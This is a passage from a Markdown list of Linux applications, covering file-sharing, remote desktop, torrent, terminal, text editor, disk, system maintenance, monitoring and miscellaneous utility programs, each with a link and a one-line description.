about privacy. - [![Open-Source Software][oss icon]](https://github.com/syncthing/syncthing) [Syncthing](https://syncthing.net/) - Syncthing replaces proprietary sync and cloud services with something open, trustworthy and decentralized. - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/World/warp) [Warp](https://apps.gnome.org/app/app.drey.Warp/) - Warp allows you to securely send files to each other via the internet or local network by exchanging a word-based code. - [![Open-Source Software][oss icon]](https://github.com/linuxmint/warpinator) [Warpinator](https://github.com/linuxmint/warpinator) - Share files across LAN. - [![Open-Source Software][oss icon]](https://github.com/warner/magic-wormhole) [Wormhole](https://github.com/warner/magic-wormhole) - Get arbitrary-sized files and directories (or short pieces of text) from one computer to another safely. #### Remote Desktop - [AnyDesk](https://anydesk.com/en) - AnyDesk ensures secure and reliable remote desktop connections for IT professionals and on-the-go individuals alike. - [![Open-Source Software][oss icon]](https://github.com/debauchee/barrier/) [Barrier](https://github.com/debauchee/barrier/) - Share mouse and keyboard over the local network. - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/GNOME/connections) [Connections](https://apps.gnome.org/app/org.gnome.Connections/) - Connections allows you to connect to and use other desktops. This can be a great way to access content or software on a different desktop operating system. - [PushBullet](https://www.pushbullet.com/) - Pushbullet connects your devices, making them feel like one. - [![Open-Source Software][oss icon]](https://github.com/rustdesk/rustdesk) [Rustdesk](https://rustdesk.com/) - Open source virtual / remote desktop infrastructure for everyone! The open source TeamViewer alternative. - [Teamviewer](https://www.teamviewer.com/) - PC remote control/remote access software, free for personal use. #### Torrent Client - [![Open-Source Software][oss icon]](https://git.deluge-torrent.org/deluge) [Deluge](https://deluge-torrent.org/) - Deluge is a lightweight, Free Software, cross-platform BitTorrent client. - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/World/Fragments) [Fragments](https://apps.gnome.org/app/de.haeckerfelix.Fragments/) - Fragments is an easy to use BitTorrent client for the GNOME desktop environment. - [![Open-Source Software][oss icon]](https://invent.kde.org/network/ktorrent) [KTorrent](https://www.kde.org/applications/internet/ktorrent/) - KTorrent is a BitTorrent application by KDE which allows you to download files using the BitTorrent protocol. - [![Open-Source Software][oss icon]](https://github.com/qbittorrent/qBittorrent) [qBittorent](https://www.qbittorrent.org/) - The qBittorrent project aims to provide a Free Software alternative to µTorrent. - [![Open-Source Software][oss icon]](https://github.com/c0re100/qBittorrent-Enhanced-Edition) [qBittorrent Enhanced Edition](https://github.com/c0re100/qBittorrent-Enhanced-Edition) - qBittorrent Enhanced is fork of qBittorrent that features peer whitelist/blacklist, auto update public tracker list and more. - [Tixati](https://www.tixati.com/) - Freeware, advanced featured torrent client, a web user interface is included. - [![Open-Source Software][oss icon]](https://trac.transmissionbt.com/browser/trunk) [Transmission](https://transmissionbt.com/) - Simple, lightweight, multi-platform torrent client. - [![Open-Source Software][oss icon]](https://github.com/transmission-remote-gui/transgui) [Transmission Remote GUI](https://sourceforge.net/projects/transgui/) - Transmission Remote GUI is a feature rich cross platform front-end to remotely control a Transmission Bit-Torrent client daemon via its RPC protocol. - [Vuze](https://www.vuze.com) - Vuze is a BitTorrent client used to transfer files via the BitTorrent protocol. - [![Open-Source Software][oss icon]](https://github.com/webtorrent/webtorrent-desktop) [Web Torrent Desktop](https://webtorrent.io/desktop/) - Web Torrent Desktop is for streaming torrents which connects to both BitTorrent and WebTorrent peers. ### Terminal - [![Open-Source Software][oss icon]](https://github.com/jwilm/alacritty) [Alacritty](https://alacritty.org/) - A cross-platform, GPU-accelerated terminal emulator. - [![Open-Source Software][oss icon]](https://github.com/contour-terminal/contour/) [Contour](https://github.com/contour-terminal/contour/) - Contour is a modern and actually fast, modal, virtual terminal emulator, for everyday use. It is aiming for power users with a modern feature mindset. - [![Open-Source Software][oss icon]](https://github.com/Swordfish90/cool-retro-term) [Cool Retro Term](https://github.com/Swordfish90/cool-retro-term) - A good looking terminal that mimicks the old cathode display. - [![Open-Source Software][oss icon]](https://github.com/GitSquared/edex-ui) [eDEX-UI](https://github.com/GitSquared/edex-ui) - eDEX-UI is a fullscreen, cross-platform terminal emulator and system monitor that looks and feels like a sci-fi computer interface. - [![Open-Source Software][oss icon]](https://github.com/GNOME) [GNOME Terminal](https://help.gnome.org/users/gnome-terminal/stable/) - A widely preinstalled terminal emulator in Linux world. - [![Open-Source Software][oss icon]](https://github.com/Guake/guake) [Guake](http://guake.org/) - Guake is a top-down terminal for GNOME. - [![Open-Source Software][oss icon]](https://github.com/zeit/hyper) [Hyper](https://hyper.is/) - A terminal built on web technologies. - [![Open-Source Software][oss icon]](https://github.com/orhun/kermit) [Kermit](https://github.com/orhun/kermit) - A VTE-based, simple and froggy terminal emulator. - [![Open-Source Software][oss icon]](https://github.com/kovidgoyal/kitty) [Kitty](https://sw.kovidgoyal.net/kitty/) - Cross-platform, fast, feature full, OpenGL based terminal emulator. - [![Open-Source Software][oss icon]](https://invent.kde.org/utilities/konsole) [Konsole](https://apps.kde.org/konsole/) - An alternative terminal emulator for KDE desktop environment. - [![Open-Source Software][oss icon]](https://sourceforge.net/projects/rxvt/) [RXVT](http://rxvt.sourceforge.net/) - A terminal emulator for X11, a popular replacement for the standard ‘xterm’. - [![Open-Source Software][oss icon]](http://dist.schmorp.de/rxvt-unicode/) [rxvt-unicode](http://software.schmorp.de/pkg/rxvt-unicode.html) - rxvt-unicode is a fork of the well known terminal emulator. - [![Open-Source Software][oss icon]](https://bazaar.launchpad.net/~dabisu/sakura/sakura/files) [Sakura](https://launchpad.net/sakura) - Simple but powerful libvte based terminal emulator, supporting utf-8 and input methods as provided by gtk+ and pango libraries. - [![Open-Source Software][oss icon]](https://git.suckless.org/st) [st](https://st.suckless.org) - st is a simple terminal implementation for X. - [![Open-Source Software][oss icon]](https://bazaar.launchpad.net/~gnome-terminator/terminator/gtk3/files) [Terminator](https://launchpad.net/terminator) - Feature filled terminal emulator that supports tabs and grids. - [![Open-Source Software][oss icon]](https://github.com/Eugeny/tabby) [Tabby](https://tabby.sh) - Modern, highly configurable terminal app based on web technologies. - [![Open-Source Software][oss icon]](https://github.com/billiob/terminology) [Terminology](https://www.enlightenment.org/about-terminology) - The pretty and lightweight terminal from the Enlightenment Desktop, it's highly configurable, it works in X11, under a Wayland compositor and even directly in the framebuffer on Linux. Replace your boring text-mode VT with a graphical one that requires no display system. - [![Open-Source Software][oss icon]](https://github.com/nonstop/termit) [Termit](https://github.com/nonstop/termit) - Simple terminal emulator based on vte library, extensible via Lua. - [Termius](https://www.termius.com/) - Cross-platform terminal with built-in SSH and Telnet. - [![Open-Source Software][oss icon]](https://github.com/lanoxx/tilda) [Tilda](https://github.com/lanoxx/tilda) - A Gtk based drop down terminal for Linux and Unix. - [![Open-Source Software][oss icon]](https://github.com/gnunn1/tilix) [Tilix](https://gnunn1.github.io/tilix-web/) - A tiling terminal emulator for Linux using GTK+ 3. - [![Open-Source Software][oss icon]](https://github.com/cosmos72/twin) [Twin](https://github.com/cosmos72/twin/) - Fast, lightweight text-mode window environment with mouse support. Enables multiple terminals in a single Linux console, terminal or X11 window. It can be detached (keeps running in background) and reattached to a different console, terminal or X11 server. Works on Linux, Mac OS X and BSD. - [![Open-Source Software][oss icon]](https://github.com/saulpw/visidata) [Visidata](http://visidata.org/) - A terminal spreadsheet multitool for discovering and arranging data. - [![Open-Source Software][oss icon]](https://invisible-island.net/xterm/) [Xterm](https://invisible-island.net/xterm/) - The Xterm program is a terminal emulator for the X Window System. It provides DEC VT102 and Tektronix 4014 compatible terminals for programs that can't use the window system directly. - [![Open-Source Software][oss icon]](https://invent.kde.org/utilities/yakuake) [Yakuake](https://apps.kde.org/yakuake/) - A Quake-style terminal emulator based on KDE Konsole technology. - [![Open-Source Software][oss icon]](https://github.com/zellij-org/zellij) [Zellij](https://zellij.dev/) - A terminal workspace and multiplexer. Letting you open several panes and tabs to run different programs, share a terminal session with others and more. Very user friendly and intuitive. ### Text Editors #### Integrated Development Environment inspired / Common User Access based - [![Open-Source Software][oss icon]](https://sourceforge.net/p/bluefish/code/HEAD/tree/trunk/bluefish/) [Bluefish](http://bluefish.openoffice.nl/index.html) - Bluefish is a powerful editor targeted towards programmers and web developers, with many options to write websites, scripts and programming code. - [![Open-Source Software][oss icon]](https://github.com/adobe/brackets) [Brackets](http://brackets.io/) - A modern text editor that understands web design. - [![Open-Source Software][oss icon]](https://github.com/Alexey-T/CudaText) [CudaText](https://cudatext.github.io/) - CudaText is a cross-platform text editor, written in Object Pascal. - [![Open-Source Software][oss icon]](https://www.geany.org/Download/Git) [Geany](https://www.geany.org/) - Geany is a text editor using the GTK+ toolkit with basic features of an integrated development environment. It was developed to provide a small and fast IDE, which has only a few dependencies from other packages. - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/GNOME/gedit) [Gedit](https://wiki.gnome.org/Apps/Gedit) - Gedit is the GNOME text editor. While aiming at simplicity and ease of use, gedit is a powerful general purpose text editor. - [![Open-Source Software][oss icon]](https://github.com/GNOME/gnome-builder) [GNOME Builder](https://wiki.gnome.org/Apps/Builder) - Powerful IDE for modern C / C++ / Bash / JavaScript development, made by Gnome Team. One of the best IDE for C/C++ development (Cmake integrated). - [![Open-Source Software][oss icon]](https://github.com/helix-editor/helix) [Helix](https://helix-editor.com/) - A post-modern modal text editor. - [![Open-Source Software][oss icon]](https://kate-editor.org/build-it/) [Kate](https://kate-editor.org/get-it/) - Kate is a multi-document editor part of KDE since release 2.2. - [![Open-Source Software][oss icon]](https://github.com/Komodo/KomodoEdit) [Komodo Edit](https://www.activestate.com/products/komodo-ide/) - Free and open source multilanguage development environment. - [![Open-Source Software][oss icon]](https://github.com/lapce/lapce) [Lapce](https://lapce.dev/) - Lightning-fast and Powerful Code Editor written in Rust. - [![Open-Source Software][oss icon]](https://github.com/LightTable/LightTable) [Lighttable](http://lighttable.com/) - The next generation code editor! Support live coding. - [![Open-Source Software][oss icon]](https://github.com/pulsar-edit/pulsar) [Pulsar](https://pulsar-edit.dev/) - A Community-led Hyper-Hackable Text Editor, Forked from Atom, built on Electron. - ![Nonfree][freeware icon]![Nonfree][money icon] [Sublime](https://www.sublimetext.com/) - A very capable text editor with advanced search capabilities, and many powerful plugins to improve its functionality. - [![Open-Source Software][oss icon]](https://github.com/orbitalquark/textadept) [Textadept](https://orbitalquark.github.io/textadept/) - Minimalist text editor for programmers. Textadept is extensible with Lua programming language. - [![Open-Source Software][oss icon]](https://github.com/Microsoft/vscode) [VSCode](https://code.visualstudio.com) - Visual Studio Code is a lightweight but powerful source code editor which runs on your desktop and is available for Windows, OS X and Linux. It comes with built-in support for JavaScript, TypeScript and Node.js and has a rich ecosystem of extensions for other languages (C++, C#, Python, PHP, Golang) and runtimes. - [![Open-Source Software][oss icon]](https://github.com/VSCodium/vscodium) [VSCodium](https://vscodium.com/) - Binary releases of VS Code without MS branding/telemetry/licensing. - [![Open-Source Software][oss icon]](https://github.com/pkulchenko/ZeroBraneStudio) [ZeroBrane Studio](http://studio.zerobrane.com/) - A mature, lightweight, cross-platform Lua IDE with modern development features. #### Modal editors & derivatives - [![Open-Source Software][oss icon]](https://github.com/emacs-mirror/emacs) [Emacs](https://www.gnu.org/software/emacs/) - An extensible, customizable, free/libre text editor — and more. - [![Open-Source Software][oss icon]](https://github.com/mawww/kakoune) [Kakoune](https://kakoune.org/) - Kakoune code editor - Vim inspired. Faster as in less keystrokes. Multiple selections. Orthogonal design. Has a strong focus on interactivity. - [![Open-Source Software][oss icon]](https://github.com/LunarVim/LunarVim) [LunarVim](https://www.lunarvim.org/#opinionated) - LunarVim is an opinionated, extensible, and fast IDE layer for Neovim. - [![Open-Source Software][oss icon]](https://github.com/neovim/neovim) [Neovim](https://neovim.io/) - Neovim is a fork of Vim aiming to improve user experience, plugins, and GUIs. - [![Open-Source Software][oss icon]](https://github.com/NvChad/NvChad) [NvChad](https://nvchad.com/) - An attempt to make neovim cli functional like an IDE while being very beautiful and blazing fast. - [![Open-Source Software][oss icon]](https://github.com/syl20bnr/spacemacs) [Spacemacs](https://www.spacemacs.org/) - A community-driven Emacs distribution. - [![Open-Source Software][oss icon]](https://github.com/SpaceVim/SpaceVim) [SpaceVim](https://spacevim.org/) - A community-driven modular vim distribution. - [![Open-Source Software][oss icon]](https://github.com/vim/vim) [Vim](https://www.vim.org) - Vim is an advanced text editor that seeks to provide the power of the de-facto Unix editor 'Vi', with a more complete feature set. It's useful whether you're already using vi or using a different editor. #### Other editors - [![Open-Source Software][oss icon]](https://github.com/zyedidia/micro) [Micro](https://micro-editor.github.io) - Micro is a terminal-based text editor that aims to be easy to use and intuitive, while also taking advantage of the full capabilities of modern terminals. - [![Open-Source Software][oss icon]](http://git.savannah.gnu.org/cgit/nano.git/) [Nano](https://www.nano-editor.org/) - GNU Nano is a text editor which aims to introduce a simple interface and intuitive command options to console based text editing. - [![Open-Source Software][oss icon]](https://invent.kde.org/utilities/kate) [KWrite](https://apps.kde.org/kwrite/) - KWrite is a text editor by KDE, based on the Kate's editor component. - [![Open-Source Software][oss icon]](https://github.com/notepadqq/notepadqq) [Notepadqq](https://notepadqq.com/wp/) - Notepadqq is a Notepad++-like editor for the Linux desktop. - [![Open-Source Software][oss icon]](https://github.com/dail8859/NotepadNext) [Notepad Next](https://github.com/dail8859/NotepadNext) - A cross-platform, reimplementation of Notepad++. ### Utilities #### Disk Utilities - [![Open-Source Software][oss icon]](https://github.com/GNOME/brasero) [Brasero](https://wiki.gnome.org/Apps/Brasero) - A capable CD/DVD burner. - [![Open-Source Software][oss icon]](http://clonezilla.org/related-links/) [Clonezilla](https://clonezilla.org/) - Clonezilla is a partition and disk imaging/cloning program similar to True Image® or Norton Ghost®. - [![Open-Source Software][oss icon]](https://sourceforge.net/projects/dban/) [DBAN](https://dban.org/) - Delete information stored on hard disk drives (HDDs) in PC laptops, desktops or servers. - [![Open-Source Software][oss icon]](https://github.com/imsnif/diskonaut) [Diskonaut](https://github.com/imsnif/diskonaut) - A disk space visualizer and navigator for the terminal. - [![Open-Source Software][oss icon]](https://github.com/zevv/duc) [Duc](https://duc.zevv.nl/) - Duc, a library and suite of tools for indexing, and visualizing inspecting disk usage. - [![Open-Source Software][oss icon]](https://github.com/balena-io/etcher) [Etcher](https://www.balena.io/etcher/) - Flash OS images to SD cards & USB drives, safely and easily. - [![Open-Source Software][oss icon]](https://github.com/GNOME/gparted) [GParted](https://gparted.org/) - Disk Partition utility for Linux. - [![Open-Source Software][oss icon]](https://invent.kde.org/utilities/kfloppy) [KFloppy](https://apps.kde.org/kfloppy/) - Graphical utility to format 3.5" and 5.25" floppy disks. - [![Open-Source Software][oss icon]](https://github.com/mbusb/multibootusb) [MultiBootUSB](https://github.com/mbusb/multibootusb) - MultiBootUSB allows you to install multiple live linux on a USB disk. - [![Open-Source Software][oss icon]](https://github.com/pop-os/popsicle) [Popsicle](https://github.com/pop-os/popsicle) - Popsicle is a Linux utility for flashing multiple USB devices in parallel, written in Rust. - [![Open-Source Software][oss icon]](https://github.com/unetbootin/unetbootin) [Unetbootin](https://unetbootin.github.io) - UNetbootin allows you to create bootable Live USB drives for Ubuntu and other Linux distributions. You can either let UNetbootin download one of the many distributions supported out-of-the-box for you, or supply your own Linux .iso file. - [![Open-Source Software][oss icon]](https://github.com/ventoy/Ventoy) [Ventoy](https://www.ventoy.net/en/index.html) - A new bootable USB solution. #### System Maintenance - [![Open-Source Software][oss icon]](https://code.launchpad.net/~teejee2008/apt-toolkit/trunk) [Aptik](https://launchpad.net/apt-toolkit) - A tool for you to organize your Favorite PPAs and manage Packages Easily. - [![Open-Source Software][oss icon]](https://github.com/TheAssassin/AppImageLauncher) [AppImageLauncher](https://github.com/TheAssassin/AppImageLauncher) - Helper application for Linux distributions serving as a kind of "entry point" for running and integrating AppImages. - [![Open-Source Software][oss icon]](https://github.com/prateekmedia/appimagepool) [AppImage Pool](https://github.com/prateekmedia/appimagepool) - A simple, modern AppImageHub Client. - [![Open-Source Software][oss icon]](https://github.com/vinifmor/bauh) [bauh](https://github.com/vinifmor/bauh) - Graphical user interface for managing your Linux applications. Supports AppImage, Arch packages (including AUR), Debian packages, Flatpak, Snap and native Web applications. - [![Open-Source Software][oss icon]](https://github.com/bleachbit/bleachbit) [BleachBit](https://www.bleachbit.org/) - BleachBit quickly frees disk space and tirelessly guards your privacy. Free cache, delete cookies, clear Internet history, shred temporary files, delete logs, and more. - [![Open-Source Software][oss icon]](https://gitlab.com/volian/nala) [Nala](https://gitlab.com/volian/nala) - Nala is a front-end for libapt-pkg. Specifically we interface using the python-apt api.Especially for newer users it can be hard to understand what apt is trying to do when installing or upgrading. - [![Open-Source Software][oss icon]](https://github.com/NixOS/nix) [Nix](https://nixos.org/download.html) - Nix is a powerful package manager for Linux and other Unix systems that makes package management reliable and reproducible. - [![Open-Source Software][oss icon]](https://github.com/morganamilo/paru) [Paru](https://github.com/morganamilo/paru) - Paru is your standard pacman wrapping AUR helper with lots of features and minimal interaction. - [![Open-Source Software][oss icon]](https://github.com/sahib/rmlint) [rmlint](https://rmlint.readthedocs.io/en/latest/) - rmlint finds space waste and other broken things on your filesystem and offers to remove it. - [![Open-Source Software][oss icon]](https://github.com/oguzhaninan/Stacer) [Stacer](https://oguzhaninan.github.io/Stacer-Web/) - The most well known Ubuntu System Optimizer. - [![Open-Source Software][oss icon]](http://download.savannah.nongnu.org/releases/synaptic/) [Synaptic](https://www.nongnu.org/synaptic/) - Synaptic is a graphical package management program for apt. - [![Open-Source Software][oss icon]](https://github.com/gerardpuig/ubuntu-cleaner) [UbuntuCleaner](https://github.com/gerardpuig/ubuntu-cleaner) - Ubuntu Cleaner is a tool that makes it easy to clean your Ubuntu system. - [![Open-Source Software][oss icon]](https://github.com/Jguer/yay) [Yay](https://github.com/Jguer/yay) - Yet another Yogurt - An AUR Helper written in Go. #### System Monitoring - [![Open-Source Software][oss icon]](https://github.com/imsnif/bandwhich) [bandwhich](https://github.com/imsnif/bandwhich) - Terminal bandwidth utilization tool. - [![Open-Source Software][oss icon]](https://gitlab.com/corectrl/corectrl) [CoreCtrl](https://gitlab.com/corectrl/corectrl) - CoreCtrl is a Free and Open Source GNU/Linux application that allows you to control with ease your computer hardware using application profiles. It aims to be flexible, comfortable and accessible to regular users. - [![Open-Source Software][oss icon]](https://bazaar.launchpad.net/~cpug-devs/cpug/main/files) [CPU-G](https://launchpad.net/cpug) - Easy monitoring the battery life of your Ubuntu laptop. - [![Open-Source Software][oss icon]](https://github.com/vagnum08/cpupower-gui) [cpupower-gui](https://github.com/vagnum08/cpupower-gui) - Graphical program to easily change the frequency limits and governors of the CPU, similar to cpupower. - [![Open-Source Software][oss icon]](https://github.com/TheTumultuousUnicornOfDarkness/CPU-X) [CPU-X](https://thetumultuousunicornofdarkness.github.io/CPU-X/) - CPU-X is a Free software that gathers information on CPU, motherboard and more. - [![Open-Source Software][oss icon]](https://invent.kde.org/utilities/filelight) [Filelight](https://apps.kde.org/filelight/) - Filelight is an application to visualize the disk usage on your computer by showing folders using an easy-to-understand view of concentric rings. Filelight makes it simple to free up space! - [GD map](http://gdmap.sourceforge.net/) - A tool to visualize disk usage. - [![Open-Source Software][oss icon]](https://bazaar.launchpad.net/~artfwo/indicator-cpufreq/trunk/files) [indicator-cpufreq](https://launchpad.net/indicator-cpufreq) - It provides the same functionality as the GNOME CPU frequency applet, but doesn't require GNOME panel and works under Unity. - [![Open-Source Software][oss icon]](https://launchpad.net/ubuntu/+source/indicator-multiload) [indicator-multiload](https://launchpad.net/ubuntu/+source/indicator-multiload) - Graphical system load indicator for CPU, ram, etc. - [![Open-Source Software][oss icon]](https://github.com/fossfreedom/indicator-sysmonitor) [Indicator-SysMonitor](https://github.com/fossfreedom/indicator-sysmonitor) - An Application Indicator showing cpu temperature, memory, network speed, cpu usage, public IP address and internet connection status. - [![Open-Source Software][oss icon]](https://g.blicky.net/ncdu.git/) [Ncdu](https://dev.yorhel.nl/ncdu) - A disk usage analyzer with an ncurses interface. - [![Open-Source Software][oss icon]](https://github.com/KrispyCamel4u/SysMonTask/) [SysMonTask](https://github.com/KrispyCamel4u/SysMonTask/) - Linux system monitor with the compactness and usefulness of windows task manager to allow higher control and monitoring. - [![Open-Source Software][oss icon]](https://github.com/netdata/netdata) [NetData](https://my-netdata.io) - Next-gen web based real-time performance and health monitoring for physical and virtual servers, containers and IoT devices. It is also a distributed `statsd` server with automatic visualization for APM (applications performance monitoring). - [![Open-Source Software][oss icon]](http://git.wpitchoune.net/psensor.git/) [Psensor](https://wpitchoune.net/psensor/) - A graphical hardware temperature monitor for Linux. - [![Open-Source Software][oss icon]](https://bazaar.launchpad.net/~indicator-multiload/indicator-multiload/trunk/files) [Systemload](https://launchpad.net/indicator-multiload) - A program that shows current system load in a status bar. - [![Open-Source Software][oss icon]](https://github.com/vergoh/vnstat) [vnStat](https://humdi.net/vnstat/) - vnStat is a console-based network traffic monitor that uses the network interface statistics provided by the kernel as information source. This means that vnStat won't actually be sniffing any traffic and also ensures light use of system resources regardless of network traffic rate. #### Other - [![Open-Source Software][oss icon]](https://sourceforge.net/projects/alien-pkg-convert/files/) [Alien Package Converter](https://sourceforge.net/projects/alien-pkg-convert/) - Package converter. Converts between RPM, DPKG, SLP, and TGZ package formats. - [![Open-Source Software][oss icon]](https://github.com/angryip/ipscan) [Angry IP Scanner](https://angryip.org/) - Fast and friendly network scanner. - [![Open-Source Software][oss icon]](https://github.com/AntiMicroX/antimicrox/) [AntiMicroX](https://github.com/AntiMicroX/antimicrox/) - Graphical program used to map keyboard buttons and mouse controls to a gamepad. Useful for playing games with no gamepad support. - [![Open-Source Software][oss icon]](https://git.kernel.org/pub/scm/bluetooth/bluez.git) [BlueZ](http://www.bluez.org/) - Official Linux Bluetooth protocol stack. - [![Open-Source Software][oss icon]](https://github.com/cheat/cheat) [Cheat](https://github.com/cheat/cheat) - Cheat allows you to create and view interactive cheatsheets on the command-line. - [![Open-Source Software][oss icon]](https://convertall.bellz.org/download.html) [Convertall](https://sourceforge.net/projects/convertall/) - A program that can convert many units of measurement to other units. - [![Open-Source Software][oss icon]](https://github.com/chamfay/Curlew) [Curlew](https://github.com/chamfay/Curlew) - A GTK media converter for the GNOME desktop. - [![Open-Source Software][oss icon]](https://github.com/wimpysworld/deb-get) [deb-get](https://github.com/wimpysworld/deb-get) - Deb-get makes is easy to install and update .debs published in 3rd party apt repositories or made available via direct download on websites or GitHub release pages. - [![Open-Source Software][oss icon]](https://git.suckless.org/dmenu/) [dmenu](https://tools.suckless.org/dmenu/) - dmenu is a dynamic menu for X, originally designed for dwm. It manages large numbers of user-defined menu items efficiently. - [![Open-Source Software][oss icon]](https://github.com/dev47apps/droidcam) [Droidcam](https://www.dev47apps.com/) - DroidCam turns your Android device into a wireless webcam for your PC. - [![Open-Source Software][oss icon]](https://github.com/thjaeger/easystroke) [EasyStroke](https://github.com/thjaeger/easystroke) - Easystroke is a gesture-recognition application for X11. - [![Open-Source Software][oss icon]](https://github.com/OzymandiasTheGreat/emoji-keyboard) [Emoji Keyboard](https://github.com/OzymandiasTheGreat/emoji-keyboard) - Virtual keyboard-like emoji picker for Linux. - [![Open-Source Software][oss icon]](https://github.com/sindresorhus/fast-cli) [fast-cli](https://github.com/sindresorhus/fast-cli) - Test your download and upload speed using fast.com. - [![Open-Source Software][oss icon]](https://github.com/tchx84/flatseal) [Flatseal](https://github.com/tchx84/flatseal) - Flatseal is a graphical utility to review and modify permissions from your Flatpak applications. - [![Open-Source Software][oss icon]](https://github.com/FreeRDP/FreeRDP) [FreeRDP](https://www.freerdp.com/) - FreeRDP is a free implementation of the Remote Desktop Protocol (RDP). - [![Open-Source Software][oss icon]](https://charm.sh/apps/) [Glow](https://github.com/charmbracelet/glow) - Render markdown on the CLI, with pizzazz! 💅🏻 - [![Open-Source Software][oss icon]](https://github.com/Simmesimme/Gnome-Pie) [GNOME-Pie](https://schneegans.github.io/gnome-pie.html) - The circular app launcher for Linux desktops. - [![Open-Source Software][oss icon]](https://github.com/nomic-ai/gpt4all) [GPT4All](https://gpt4all.io/) - gpt4all: an ecosystem of open-source chatbots trained on a massive collections of clean assistant data including code, stories and dialogue - [![Open-Source Software][oss icon]](https://github.com/gramps-project/gramps) [Gramps](https://gramps-project.org/blog/) - Research, organize and share your family tree with Gramps. - [![Open-Source Software][oss icon]](https://github.com/GSConnect/gnome-shell-extension-gsconnect) [GSConnect](https://extensions.gnome.org/extension/1319/gsconnect/) - KDE Connect implementation for GNOME. - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/GabMus/HydraPaper) [HydraPaper](https://hydrapaper.gabmus.org/) - Wallpaper manager with multi monitor support. - [![Open-Source Software][oss icon]](https://invent.kde.org/network/kdeconnect-kde) [KDE-Connect](https://apps.kde.org/kdeconnect/) - A tool, that allows one to integrate the Linux desktop with an Android smartphone and can be used to send files to and from the phone and the linux desktop, use the phone as a trackpad, control the desktop media player using the phone, and lots more. - [![Open-Source Software][oss icon]](https://github.com/jordansissel/keynav) [Keynav](https://www.semicomplete.com/projects/keynav/) - Keynav is a piece of an on-going experiment to make pointer-driven interfaces easier and faster for users to operate. It lets you move the pointer quickly to most points on the screen with only a few keystrokes. - [![Open-Source Software][oss icon]](https://github.com/cheesecakeufo/komorebi) [Komorebi](https://github.com/cheesecakeufo/komorebi) - Komorebi is a background manager for all Linux platforms, provides fully customizable backgrounds that can be tweaked at any time. - [![Open-Source Software][oss icon]](https://github.com/rastapasta/mapscii) [mapscii](https://github.com/rastapasta/mapscii) - MapSCII is a Braille & ASCII world map renderer for your console. - [![Open-Source Software][oss icon]](https://github.com/mobile-shell/mosh) [Mosh](https://mosh.org) - Mosh is a Remote terminal application that allows roaming, supports intermittent connectivity, and provides intelligent local echo and line editing of user keystrokes. - [![Open-Source Software][oss icon]](https://github.com/nmap/nmap) [Nmap](https://nmap.org/) - Nmap is a free, open-source tool for network exploration, management, and security auditing. - [![Open-Source Software][oss icon]](https://github.com/jiahaog/nativefier) [Nativefier](https://github.com/jiahaog/nativefier) - Make any web page a desktop application. - [![Open-Source Software][oss icon]](https://sourceforge.net/projects/peaextractor/files/) [PeaExtractor](https://sourceforge.net/projects/peaextractor/) A utility designed to unzip files and be as frictionless as possible, and easy to use as possible. - [![Open-Source Software][oss icon]](https://sourceforge.net/projects/peazip/files/) [Peazip](https://sourceforge.net/projects/peazip/) - A utility to unzip any of a huge variety of compression formats. - [![Open-Source Software][oss icon]](https://github.com/pi-hole/pi-hole) [Pi-Hole](https://pi-hole.net) - Network-wide ad blocking via your own Linux hardware, using DNS filtering and re-direction Pi-Hole can block ads on a whole network, so Smartphones and Game Consoles can benefit from it in addition to computers. - [![Open-Source Software][oss icon]](https://gitlab.freedesktop.org/pipewire/pipewire) [PipeWire](https://pipewire.org/) - PipeWire is a project that aims to greatly improve handling of audio and video under Linux. - [PlexyDesk](http://www.omgubuntu.co.uk/2016/09/plexydesk-widgets-linux-desktop-ppa) - Plexydesk supports multiple widget workspaces/desktops on Linux. - [![Open-Source Software][oss icon]](https://github.com/fenrus75/powertop) [Powertop](https://01.org/powertop/downloads) - A tool that can help diagnose issues with power consumption in Linux. - [![Open-Source Software][oss icon]](https://github.com/pulseaudio/pulseaudio) [Pulse Audio](https://wiki.ubuntu.com/PulseAudio) - Improve Linux Audio with customized Profiles. - [![Open-Source Software][oss icon]](https://github.com/FreeRDP/Remmina) [Remmina](https://remmina.org/) - A feature-rich remote desktop application for Linux and other UNIXes. - [![Open-Source Software][oss icon]](https://github.com/davatorium/rofi) [rofi](https://github.com/davatorium/rofi) - A window switcher, Application launcher and dmenu replacement. - [![Open-Source Software][oss icon]](https://github.com/Genymobile/scrcpy) [scrcpy](https://github.com/Genymobile/scrcpy) - Display and control your Android device. - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/GNOME/sushi) [Sushi](https://gitlab.gnome.org/GNOME/sushi) - Sushi is a quick previewer for Nautilus, the GNOME desktop file manager. - [![Open-Source Software][oss icon]](https://github.com/JoseExposito/touche) [Touche](https://flathub.org/apps/details/com.github.joseexposito.touche) - Easily configure your touchpad and touchscreen multi-touch gestures using Touchégg with this GTK graphical user interface. - [![Open-Source Software][oss icon]](https://www.tightvnc.com/download.php) [TightVNC](https://www.tightvnc.com/) - A Free, Lightweight, Fast and Reliable Remote Control / Remote Desktop Software. - [TLP](https://linrunner.de/en/tlp/docs/tlp-linux-advanced-power-management.html) - An application that can help optimize battery life on Linux. - [![Open-Source Software][oss icon]](https://github.com/oniony/TMSU) [TMSU](https://tmsu.org/) - TMSU lets you tags your files and then access them through a nifty virtual filesystem from any other application. - [![Open-Source Software][oss icon]](https://github.com/Kilian/Trimage) [Trimage](https://trimage.org/) - A cross-platform tool for losslessly optimizing PNG and JPG files. - [![Open-Source Software][oss icon]](https://github.com/adgellida/ubunsys) [Ubunsys](https://github.com/adgellida/ubunsys) - An application designed to allow you to change in-depth system features without the command line. - [![Open-Source Software][oss icon]](https://github.com/popey/unsnap) [unsnap](https://github.com/popey/unsnap) - Quickly migrate from using snap packages to flatpaks. - [![Open-Source Software][oss icon]](https://github.com/upscayl/upscayl) [Upscayl](https://upscayl.github.io/) - Free and Open Source AI Image Upscaler. - [USB network gate](https://www.eltima.com/products/usb-over-ip-linux/) - Allows you to share USB ports over a Network on Linux. - [![Open-Source Software][oss icon]](https://github.com/peterlevi/variety-slideshow) [Variety](https://peterlevi.com/variety/) - Variety is an open-source wallpaper changer for Linux, packed with great features, yet slim and easy to use. - [![Open-Source Software][oss icon]](https://gitlab.freedesktop.org/wayland) [Wayland](https://wayland.freedesktop.org/) - Wayland is intended as a simpler replacement for X, easier to develop and maintain. - [![Open-Source Software][oss icon]](https://github.com/rcaelers/workrave) [Workrave](http://www.workrave.org/) - A program that assists in the recovery and prevention of Repetitive Strain Injury 